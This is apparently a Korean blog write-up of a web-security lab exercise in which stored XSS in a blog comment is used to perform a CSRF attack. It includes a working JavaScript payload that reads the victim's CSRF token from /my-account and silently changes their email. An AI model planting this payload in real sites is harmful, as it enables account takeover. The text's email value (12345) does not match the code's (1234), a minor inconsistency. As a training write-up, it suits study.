728x90
이번 문제는 댓글 기능에 취약점이 존재하며 XSS를 활용하여 CRSF공격을 수행하는 게 목표다.
우선 나는 CSRF 문제들을 풀어봤기에
form태그를 이용해 댓글을 작성해봤다.
작성 후 게시글로 돌아가보면
csrf파라미터가 없다고 나온다.
이를 통해 csrf 토큰이 존재하는 걸 알 수 있고
이메일 변경 페이지에 가면 csrf토큰을 확인할 수 있다.
`
csrf 토큰을 넣고 다시 댓글을 작성하면
게시글을 열람했을 때 이메일 변경 페이지로 이동되며 이메일이 변경되는 걸 볼 수 있다.
하지만 이 방법은 내 csrf토큰을 내가 알기 때문에 가능한 방법이고 실제 상황에서는 상대방의 csrf토큰을 알 수 없기 때문에
csrf 토큰을 탈취해서 작성해야 된다.
그러면 어떻게 csrf토큰을 탈취해야 될까?
아까 확인했듯이 email 변경 페이지 즉, /my-account로 가면 페이지를 구성하는 html에 hidden속성으로 숨겨져 있는 걸 알 수 있다.
<script>
xhttp= new XMLHttpRequest(); // HTML 요청 객체 생성
xhttp.open("GET","/my-account",false); // 이메일 변경 페이지에 요청을 보내 페이지 양식 가져오기
xhttp.send();
lineIndex=0; // 페이지 양식으로 텍스트로 받아 비교하면서 csrf 이름을 가진 배열을 찾아 변수에 저장
var lines=xhttp.responseText.split("\n");
for(line=0;line<lines.length;line++)
{
if(lines[line].indexOf('name="csrf"') != -1)
{
lineIndex=line;
}
}
csrf=lines[lineIndex].split("value=")[1];
csrf=csrf.split("\"")[1];
xhttp.open("POST","/my-account/change-email",false); // csrf토큰과 변경 이메일을 넣어 이메일 변경 요청
xhttp.send("csrf="+csrf+"&email=1234@naver.com");
</script>
이렇게 하면 사용자가 로그인한 상태로 게시글을 열람하는 순간 이메일이 12345@naver.com으로 변경될 것이다.
댓글에 코드를 넣고 작성한 후 게시글을 다시 열람하면
이메일이 변경된 걸 확인할 수 있다.
요청을 보면 게시글 -> 내 이메일(csrf토큰 확인) -> 이메일 변경 요청이 되는 걸 확인할 수 있다.
XHR을 사용하는게 처음이라 이해하고 습득하는데 시간이 걸려 문제풀이 시간이 길었던것 같다.
728x90